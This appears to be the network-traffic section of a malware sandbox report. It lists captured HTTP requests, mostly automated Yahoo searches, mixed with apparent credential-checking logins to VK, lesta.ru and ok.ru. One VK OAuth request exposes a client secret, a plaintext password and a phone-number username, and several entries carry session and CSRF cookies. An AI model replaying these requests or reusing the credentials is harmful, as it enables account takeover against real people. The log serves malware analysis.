Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFbBls7HVlr3Yra95LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=15&pz=7&pstart=7 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227052&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /captcha.php?sid=743468411181&dif=1 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveCookie: remixir=DELETED; remixlang=3; remixstlid=9011365370180452841_RzfBd8PuBfS4eXPJskBZDvpZVlBvn17PjHFLCzGzotHUser-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446Accept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrhbhJo7HVldKkrCXZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&fr=sfp&b=8&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=1&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227048&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEoY5x7HVlBOor80VLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=22&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227057&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcoh87HVllJArc3pLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=29&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227068&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=7RlCI8pYEJvIspHGZWwKPAuT5nsgUV8O5ke3FbSdc467jZK7df0XEIZbZBVLKQ0z; wgni_sessionid=0me5yexcddb02smnfjc4rvsw6kjk025eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: 7RlCI8pYEJvIspHGZWwKPAuT5nsgUV8O5ke3FbSdc467jZK7df0XEIZbZBVLKQ0zx-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNZRR57HVltgUrn1lXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=15&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=2&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227065&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131&captcha_sid=743468411181&captcha_key=zv5hpkv HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows; Windows NT 10.0; x64) Gecko/20100101 Firefox/68.8Accept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNOauC7HVlBTkrKrZLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=36&pz=7&pstart=9 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227074&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=Rs3X95lgJt36BtbciI4aird77EsJdGROSdGRtHjHqSPjuBlhhqdWhoUuSXnRMsu4; wgni_sessionid=6bxu37zw6u7ezwgs740t86ccbpxwbv3bUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.45 Safari/537.36Content-Length: 115Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: Rs3X95lgJt36BtbciI4aird77EsJdGROSdGRtHjHqSPjuBlhhqdWhoUuSXnRMsu4x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31KcAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_deagle&category_730_Weapon[]=tag_weapon_ak47&category_730_Weapon[]=tag_weapon_m4a1&category_730_Weapon[]=tag_weapon_awp&category_730_Weapon[]=tag_weapon_usp_silencer&category_730_Rarity[]=tag_Rarity_Mythical_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrhenGF7HVliTEsHCFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=22&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227077&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFY5aM7HVl0wor_MhLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=43&pz=7&pstart=14 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227084&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://uk.search.yahoo.com/search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrErnCT7HVlEO4rMUxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=50&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227091&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1Host: m.ok.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 114Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: https://m.ok.ru/Origin: https://m.ok.ruUpgrade-Insecure-Requests: 1
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrihtiT7HVljmQsNH5XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=29&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227091&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Content-Length: 611Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1Host: m.ok.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 106Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: https://m.ok.ru/Origin: https://m.ok.ruUpgrade-Insecure-Requests: 1
Source: global traffic	HTTP traffic detected: GET /search;_ylt=Awriq2mY7HVlIgUrLExLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=57&pz=7&pstart=14 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227096&ltv_c=8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GB HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
